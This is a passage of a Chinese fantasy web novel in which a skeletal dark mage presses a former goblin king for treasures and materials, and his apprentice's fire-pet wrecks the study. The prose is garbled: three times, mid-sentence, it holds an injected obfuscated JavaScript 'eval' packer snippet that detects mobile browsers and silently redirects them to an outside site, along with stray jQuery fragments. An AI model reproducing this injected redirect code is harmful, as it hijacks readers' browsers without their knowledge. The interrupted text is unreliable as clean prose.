他们酷爱金钱和珍宝,几乎每个地精对鉴宝都很有一套。光是安比认出来的就有许多产量极小的珍惜珠宝,其他的虽然不识来历,可是能和这种等级的珠宝放在一起而毫不逊色,肯定也是顶级中的顶级!! 布莱多恩看时机差不多,便中止了魔法。 “这是其中一部分,”他的指骨击打着座椅的扶手,发出清脆的哒哒声,“我想要做的生意恐怕你还做不起,去联系你族里的长老或者地精王。” 地精完全沦陷在了宝物的光辉中。他美滋滋地请求布莱多恩等待片刻,他要去拿族里留给他的土铃虫。 他离开没多久,阿佩就端着茶水回来了。 土铃虫是地精们无意中培育出来的生物,它们每个个体之间都会存在一种奇妙的联系,只需要在它们身上铭刻好通讯魔法,就算相距数个国家也能够通话。 安比带来土铃虫时,它触须上已经显示出了一幅有些虚幻的画面,但还是能够看得清楚画面中是一个老地精,苍白的胡子被编成一股股小辫子,用金色的发箍箍住了。 随着距离接近,芭布拉看清了他的长相,比起平平无奇的安比,这位长老鼻子更大,上面还长了几个突出的疣,眉头皱得很高,看上去就凶巴巴的。 对面也看清楚了布莱多恩和芭布拉的模样。 “夜鸦冠冕……!你、你是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810489|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人?!”他立刻就认出了布莱多恩头顶的冠冕,一时间竟然有些口吃。 布莱多恩对着他举了一下手,火语权杖对准地精的时候,他瑟瑟发抖地退了一步。 但他只是接收到了一个不痛不痒的招呼。 “安德莱,好久不见。” “……这不可能!你不是死了吗?!” “确实,”布莱多恩带着笑意,眼眶里的魂火阴沉沉地注视着他,“就连死亡也无法阻止一个黑魔法师,但你倒是让我找得很辛苦啊。” “你要干什么!!!”安德莱在画面那头跳脚,“我们地精可什么都不欠你的!交易完成,钱货两讫!” “真的吗?但我在我的法师塔里发现了点烦人的小虫子,你说,居然有人能够神不知鬼不觉地混进法师塔里,这是什么原因呢?” 安德莱额头冒汗。 “而且交易完成……?我怎么记得,我们最后一次交易可还没有结束。” “你那个时候是和地精王做的交易,但我现在已经不是地精王了!!”安德莱着急地擦汗,“从来没有人像你一样,不给我们珍惜材料就算了,还逼着我们拿自己珍藏的材料来帮你修法师塔!那些东西是拿钱能换得到的吗?就算能换到,难道能用市价来换吗?你拿这么多钱去买,有人给你吗???你根本找不到地方去买好吗!” “难道我没有给予你们同等价值的报酬?别以为我不知道你们在材料清单上干的好事。”布莱多恩冷笑,“我不用买,自有人会送到我手里。” 安德莱沉默片刻,然后用更大的声音指责他:“这就算了,你不应该打破禁忌!” 黑法师:“不打破点什么禁忌,怎么好意思称自己为黑法师呢?” “就是你这种态度!!!” 安德莱气得胡子都翘了起来,他气急败坏地想要直接中止通话,于是布莱多恩不慌不忙地拿出一团冰絮,有一尾深紫色的小鱼在冰絮中欢快地游动。 布莱多恩拿着它在安德莱眼前一晃而过,地精的眼睛立即盯着那个东西转了一圈。 “阿、阿多尼斯之眼!”他紧紧扒着土铃虫的触须,试图让自己更靠近它一些,“……它居然还在你手里。” 布莱多恩将它交给芭布拉,于是安德莱也注意到了坐在旁边的少女。 “……噫!”安德莱吸了吸鼻子,“轻点拿,轻点拿啊!” 安德莱叹了口气,平复了一下大悲大喜的心情。 “好吧,布莱多恩大人,这次您又想要您卑微的仆人做些什么呢?” 24. 金币的海洋 当安德莱再次看见那位黑法师时,不由得又回忆起自己曾经住在王宫中,统领一整个地精族群的辉煌时光。 那时候他贵为地精王,享有整个族群所有地精的财富,黄金和珠宝铺满他的宝库,就连盘旋在火焰之地的巨龙也会化为人形,走入他的地宫与地精交易。 野心和胆识充斥着他的身躯,使他不知疲倦地开拓属于地精的商业帝国。 直到那个帮助他取得王位的人来到他面前,戏谑地看着高居王座之上的地精王。 “……你也不想让族人知道之前你拿出来炫富的东西,都是找我借的吧?” 安德莱立刻一屁股弹跳起来,恭恭敬敬地请来者入座他的王座。 漫不经心的黑法师托着腮,另一只手放在扶手处,闲适得像是坐在自己家里,而不是这座华丽奢靡的王座上。 时至今日,安德莱很难再回忆起他的样貌,只记得那双居高临下审视自己的银灰色眼睛很冷,迫使着安德莱低下自己高贵的头颅,恳求他不要向任何人透露二人的秘密。 开玩笑,这件事被任何人知道了,那他地精王的位置还要不要了!? 安德莱神色复杂地看向画面中仍然是随意靠在高背椅上的骷髅,就算容颜不再,他的身影仿佛跟过去重叠起来,甚至眼中魂火晃动间比以前看上去还要更为可怖。 现在他都不是地精王了,怎么这人还是阴魂不散啊! 生气归生气,心虚的安德莱还是低下了头。 “当然,前提是如果我们能做到的话,也不是不可以考虑一下……” 布莱多恩:“你的宝库。” 安德莱的虚影马上跳了起来:“不可能!” 地精的大脸猛然贴近画面,看得出他的毛发都快要全炸开了,据理力争自己的宝库对于地精来说是绝对不可能献出去的! 椅子上的黑法师似乎不耐地敲了敲扶手,他马上就又像泄气的气球一样瘪了。 “但……但是,您要的东西根本就是不可能做出来的啊。” 布莱多恩停下了敲击的指骨。 安德莱心虚地为自己辩解道:“反正那个时候您也……生死未卜,那些材料我也没有地方交还……” 布莱多恩不动声色的转了下魂火,和芭布拉对了一个眼神,发现她也不知道这个东西是什么。 他什么时候找的地精,还拿出材料来给他们修了什么东西?而且他们居然还修不出来? 地精虽然贪婪了点,他们的巧手也是相当出名的。而且他们拥有魔法亲和,能够使用绝大部分魔法,基本上只有别人想不到的,没有他们做不出来的。 布莱多恩没想起来,但这并不妨碍他继续从地精嘴里套话。 “都过去那么多年了,最多只能退还一半的材料给你——”安德莱手舞足蹈地比划了一下,“但是我的宝库,休想!!!” “所以这就是你们在我死了以后马上就把信标抹除的原因?” 安德莱缩了一下:“这是意外!” “也是,毕竟安德莱你跟我的友谊十分坚固,无论发生什么都不会改变,”布莱多恩阴沉沉地笑了一下,“所以你的东西也是我的东西,对吧?” 地精扁扁嘴,信标的事情居然被发现了,当然,最主要的是他居然又从冥河深处爬了回来……他憋出一点点眼泪,很是委屈地向黑法师说:“阁下,布莱多恩阁下!契约尚在,真的不是我不愿意帮助您,而是您交代的事情实在是太不正常了,触碰到了我等一族的禁忌,就算是我也没有办法强令族人继续工作啊!” “地精还有禁忌?你们不是为了赚钱什么事情都可以做的吗?” 安德莱顿时神情严肃地大声争辩起来:“当然不是!我们地精也是有着崇高的信仰的!” “阁下!尽管对我们地精来说,在灵界修建法师塔并不算太困难的事情,但您要求施工人员必须蒙上眼睛进行作业!我找遍了全族的工匠,也不过只有三四位可以办到!您说,在元素相当紊乱的灵界,能办到这样的事情,除了我们地精,又有谁能够做到!” 那可多了去了。 不过布莱多恩没有打断他的表演,因为他很快就转了另外一个话题。 “就算您让我们蒙上了眼睛,但工匠们还是察觉到了……您让我们安置在法师塔四周的,不就是诸神的神像吗!我不会过问阁下您的目的,但继续修建的风险对于我们来说太大了,就之前您给予我们的报酬来说,我觉得……失大于得!” 就是说你给的还不够多呗。 布莱多恩冷静地回忆了一下,还是没能想起自己还曾经跟地精做过这样的交易。再者,在灵界修法师塔的法师也大有人在,区区几座神像怎么可能会吓到这帮地精? “契约仍在,你不会想赖账吧?” 尖利的指骨在半空中书写出一连串流利的文字。那是从上古时代就被用来书写契约的古龙文,随着它一笔一划地成形,安德莱的脸色也越来越绝望。 他靠着和布莱多恩的契约才登上了王位,安德莱也必须要给予他允诺之物。 可是他现在都不是王了!哪里来的手下帮他搞这些有的没的啊! 布莱多恩:“宝库。” 地精最后一边揪着自己漂亮的麻花辫胡子,一边痛苦地答应了他的要求。 “但是!地精的宝库绝对不能让外人进出!你只能通过土铃虫看!”地精一把拿起他面前的土铃虫,画面也变得颠簸起来,“也不能多看其他的东西!!” 话是这么说,但假如说真的有宝物突然从镜头画面中跳了出来,那也不是任何人能控制得了的事情吧。 安德莱捂着画面,故意不让他们看到自己宝库的位置,直到他重新放开画面,出现在他们眼前的是比之前安比的地宫还要再辉煌千百倍的巨大宫殿,高深而恢弘的穹顶,四周的立柱上都雕刻着精美的花纹。 最吸引人的还是像金色的海洋一样淹没了整个殿堂的钱币,钱币中还埋藏着数不清的珍惜物品。 地精毫无形象地撅起屁股,在金币海里翻找。 布莱多恩眼中的魂火无风自动:“安德莱,你也应该好好收拾一下自己的宝库了,别的地精的宝库都从来没有像你的这么乱的。” 安德莱从金币海的底部翻出了一大块闪亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810490|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结晶体,他吃力地把这个将近他身高一半的巨大结晶体拖了出来。 “你们这些法师可不懂睡在自己心爱宝物上的美妙滋味!”他一屁股坐在金币上,喘着粗气,“喏,这个是用来构建法师塔基座的彩曜晶,当年应该已经修好大半了,只剩下了这一些!” 休息片刻,他又翻到了另外的地方继续翻找。 芭布拉和布莱多恩说起了悄悄话。 “老师,我看到了那个传说中的猩红圣杯——!” “没有想到居然落在这个地精手里,得想个法子把它都弄出来。” “喂你们说话的声音也太大了吧?!我全部都听到了,这是我的宝库!!你们不能拿!!” 安德莱一边骂骂咧咧,一边从他的宝库里翻找出各种材料。说老实话,如果不是他自己来的话,想从这一片闪耀而混乱的金币海洋中找到需要的东西也是相当困难的。 地精拿出来交给他的材料大部分都是拿来建法师塔和用来构建超大传送阵的材料……看上去倒是用于那种逃命或者最后的藏身之所的普通用途,但是地精的反应总让布莱多恩感觉有点疑惑。 “这些东西我会直接传送到安比的驻地……”安德莱敏感地注意到了两人的视线,下意识地就把面前那副流淌着银色辉光的小马甲抱紧了,“不要指着我的秘银流甲了!这是当年我为自己的禁卫军打造的,现在也就只剩下几副而已!” “咳咳,契约——” “……好了!好了!!只能给你这一件!!!” 说完,安德莱连礼貌的道别都没有,直接关闭了石铃虫,留给对面一片令人遐想的漆黑。 全程震惊脸的安比终于说出了他的第一句话:“……你们居然能从那个铁公鸡一般的族长手里抠出来这么多东西!” 布莱多恩温和地看着他,直到这只地精察觉到了一丝不对劲。 “你最近卖给教会了什么东西?介不介意让我看一看呢?” 忽然意识到这就是正主的安比立刻捧着土铃虫双膝跪地道歉。 “对对对对不起尊贵的布莱多恩大人——!” 从安比那里拿回了一大堆稀有素材的时候,芭布拉总觉得自己好像在做梦。 布莱多恩把最后传送过来的那件银色的护甲放到了她头上,微凉的秘银像一滩液体在芭布拉头上流淌。 “这个给你,地精们相当引以为豪的秘银流甲,据说就算是能斩杀巨龙的达摩克利斯之剑也突破不了它的防护。” 芭布拉把它推了回去:“它这么厉害,当然应该是给老师穿啊!” 布莱多恩很是嫌弃:“我穿着有什么用?我又不会死。” 芭布拉聪明的小脑袋瓜一时卡了壳,看着他根根分明的骨头,没想出来更好的理由,迷迷糊糊地就把护甲穿到了身上。 “老师来找地精,难道就是因为——” “我是为了找他们的麻烦,顺便拿回我之前放在他这里的东西,绝对……” “对对对,这就是我想说的!老师真是太厉害了!” “……” 布莱多恩默默把后半句话咽了回去。 25. 庞丁和●不得入内 庞丁透过契约纹路中的一个小圆圈悄咪咪往外张望。 很好,没人在家。 ——除了拥有完美曲线和热情洋溢火焰的本大爷! 它一下从里面窜了出来,落到木质的地板上后放松了狗的姿态,火焰肆意妄为地摊成一团,像一条条触手在地上扫来扫去。 今!天!主!人!不!在!家! 庞丁在空旷的蘑菇屋里奔跑、冲刺、一屁股坐进芭布拉心爱的蘑菇丛里,把孢子扬得到处都是。忽然它嗅到了一点情绪残留,甩着火舌冲了过去,火舌像螺旋桨一样甩出了残影。 无视门口贴着的“庞丁与狗不得入内”,庞丁在书房里舒适地滚了一圈,砸吧砸吧嘴。 感觉有点微妙,像是掺了水的蜂蜜,不是很甜,但又有点若有若无的回味。 然后它的视线忽然被书柜上方的某个东西吸引住了。 虽然不知道是什么东西,但是庞丁发誓它闻到了美味的气息! 它霍然爬了起来!几条火焰小心翼翼地避开易燃的书,抓着书架往上攀爬。拖着重重的壳,庞丁蜗牛在书架上留下了一道蜿蜒而又触目惊心的焦痕。 最终,它努力拉长了自己由火焰组成的身躯。这并不是一件很容易做到的事情,特别是你要考虑到它还背着一个坚固的南瓜壳壳。 背负着南瓜的那部分火焰已经被压得变形,渐渐地往下弯曲,脆弱的纸张在火焰的灼烤下已经有了些许变色。 但庞丁已经无暇顾及它肚子下面的一本无辜书籍了,它正对着悬浮在半空的某个东西伸出自己细长的火舌。 只要一点,再长一点点就能够烧到了! 它狞笑着,硬生生又把自己拉长了一点点! 细小的火焰终于触碰到了那个小巧精致的物体,那一瞬间庞丁立刻意识到了这个东西的真实身份,这居然是一个用墓地乌鸦血液浸泡过七天七夜的恶灵结晶!这种不祥的东西怎么会出现在这里啊! 它还来不及收回自己偷腥的火舌,在它正前方凭空激发了一个闪着红色光芒的小型魔法阵,将它的火舌牢牢锁住。 “啊哦。” 庞丁两眼一闭,但那股强大且充满破坏性的魔力还是在他的视觉器官上施加了一连串的闪烁。 南瓜壳炸了,连同着那些不停燃烧的火焰也散落在书房各地。 庞丁四处看了看,蠕动着把四散的火焰收了回来,再把南瓜壳碎片拢了拢,至少阻止了事情更加恶化。 然后通过契约通知它心爱的主人过来收拾残局。 * 芭布拉往火炉里多加了两块木头,刚生的火还很微弱,特别是还有一只抱着南瓜壳碎片委委屈屈哼哼唧唧落泪的……额……芭布拉很难形容现在这坨蓝色燃烧着的不明物是个什么物种。 蓝色的火星掉进木块地下的橙黄色火焰中,就像一滴水落进火堆里迅速蒸发了。 每掉一滴,庞丁身上燃烧的火就会衰弱一分。 “呜呜,亲爱的主人啊,为什么家里会有这么危险的法阵?您卑微的仆人差一点点就要回到地狱去见撒旦了!” 芭布拉:“因为家里有你在啊。” 于是它哭得更大声了。 “不!主人,我心里最最伟大的主人啊!从前您从来都不会对你忠诚的仆人设下任何防备的!”它举起细细的手指向那个独自呆在书房里的骷髅,“可是那家伙来了以后,您就变了!您的房间里已经有了我的禁地,就连出去玩也再也不带上我了,呜呜呜呜!” “庞丁,你进书房了对吧?”芭布拉用木块戳了戳它,庞丁乖巧地踩到了那块木柴上,然后整团就这样被架在火上烧。 “你也知道书房里有很多你一碰就会烧起来的书的吧?” 她又往火堆里丢了一个小小的燃烧咒,危在旦夕的火堆一下子窜了起来,熊熊燃烧。 被橙色火焰包围的庞丁瑟瑟发抖,把不小心掉下木块的火舌紧紧抱在怀里。 “你就好好地在火刑架上反省吧!直到你把南瓜壳贴好再下来!” “呜呜……我错了……” 庞丁凄凉的呜咽没能打动芭布拉。她现在回忆起方才她满载而归,一看自己的书房差点成为神魔大战现场的时候就差点想要把门关上,再刷新一遍。 咦,刷新是什么? 不管怎么样,她处理好了这堆爱闯祸的南瓜碎片,才回到书房,布莱多恩还在这里评估破坏等级。 “呜呜,老师,我的《黑暗娇娃的魔法界之旅》还有救吗?我明明放在书架最顶上了,怎么还会被烧成这样啊!” 布莱多恩斜了她一眼,南瓜小狗的呜咽声透过半掩的门传了进来,但他明明看见火堆上的大南瓜甚至还在对他做鬼脸。 他收回视线,自我感觉心情很是平静。 “在这之前,你先告诉我,这是那天从那个黑衣贩子买回来的书吧?不是放在我这里保管了吗?” 芭布拉噎住。 “我、我再买了一本。” 这一人一狗的表情真是如出一辙啊……有其主必有其狗是吧! 布莱多恩一个抬手就是一个燃烧咒:“烧了!不许看这种奇怪的书!!” 芭布拉弱弱地答应了,看着封面身材火辣的老师在布莱多恩手下化为飞灰,她满是不舍。 布莱多恩平复了一下心情。恶灵结晶是他准备用来转换巫妖仪式的必需品,黑法师的习惯让他下意识留了一个法阵,原本他还因为自己的东西差点被他人染指而有些薄怒,可是当他看清地上摊开的另外一个东西之后,他的怒火一下就被另外的情绪压倒了。 “让我一个人静静,刚刚……地精给我们的东西好像有点不对劲。” 她立刻举起双手:“老师!我也可以帮你!” “不必了,”布莱多恩犹豫了一下,感觉这样拒绝有点不保险,于是又加上一句,“你还是准备一下我们去法师塔需要的东西吧。” “好、好吧……” 芭布拉一步三回头地走出了书房,她刚一迈出门框外,书房的门马上就关上了。 门上贴着的纸张上写着“庞丁和狗不得入内”,狗字正好被火烫掉了一个洞,变成了“庞丁和●不得入内”。 芭布拉一惊,立刻把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810491|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它撕了下来。 她也想帮老师分担一些工作的呀!芭布拉在门口转了两圈,还是没好意思敲门问老师需要准备点什么东西。 一回头,庞丁正泫然欲泣地看着她。 芭布拉一下子有了主意! 他们一行人(芭布拉数了一下,包括老师的话,足足有四个半人组成了整个队伍!)要先前往法师塔的隐藏之地,这个地方可能不会很远,但一定很隐蔽!说不定要爬山下水,消耗的体力一定很多! 要带上能够恢复体力的东西……啊啊,如果下雨的话,得带上伞吧?哇,这个护身符看起来还挺好看的耶,给老师和麦亚安都带一个吧…… 漫长的等待中,庞丁的目光逐渐涣散。 * 布莱多恩摊开了从安比手里强行带回来的平面图,离开地宫前还亲眼盯着地精把剩余的备份全部都烧掉才满意。 虽然他知道安德莱手里肯定还有其他的备份,但看着这帮贪婪的地精欲哭无泪地从各种藏匿的地方把东西掏出来销毁的感觉,真让人愉快啊。 从第一层到最顶端的第七层,地精们在每一层都详细标注了逃生方向和致命的法阵。 除此之外倒没有留下太多敏感的信息,或者说这大概是工匠们的传统。 他们害怕竣工后自己就会被灭口,或者有朝一日落入魔爪,基本上都会留下用于逃生的记录。 ……这样的东西地精居然拿出来卖啊!下次在契约里还得再加上这一条!! 布莱多恩的视线忽然落到了平面图的右上角,他下意识地感觉到这个地方有些奇怪。 很快,他反应过来这个地方为什么不对劲了。 最顶层它居然左右不对称! 整座法师塔乍一看平平无奇,只不过最顶层被一道闪电分成了倾斜的两层,左半边比右半边小很多,但由于这一层的边缘像是波浪一样弯弯曲曲,就算意识到了两者不对称,也只会觉得这就是塔主的艺术追求。 布莱多恩自己就觉得很不对劲了。 在他印象里,地精那种精致奢靡的审美崇尚的就是极致的对称。 想让他们同意做出这种不对称的设计,还得多给亿点。 这一切解释不通。 但……和地精的交易,另外的法师塔以及传送阵材料…… 如果……还有另一座依附在主塔阴影之下的隐匿塔……一切就解释得通了! 想通了的布莱多恩立刻想告诉芭布拉这个天大的好消息,但他打开房门却没能看到她的身影。 他推测她是去准备之后可能需要的药剂或者其他装备,于是四处转了几个房间,不出所料在厨房里看到了他的小学徒。 嗯?厨房? 他大吃一惊,不妙的预感油然而生。 “你准备了什么?……啊?培根卷?你是要在法师塔里野餐吗?!!” “你知道你面对的不是和睦的阳光、嫩绿的青草,而是不死不休的魔像和就算是大魔导也不敢强闯的大型法阵吗?” “还有松茸蛋糕?你甚至还烤了一个蛋糕??额,这个味道有点淡……”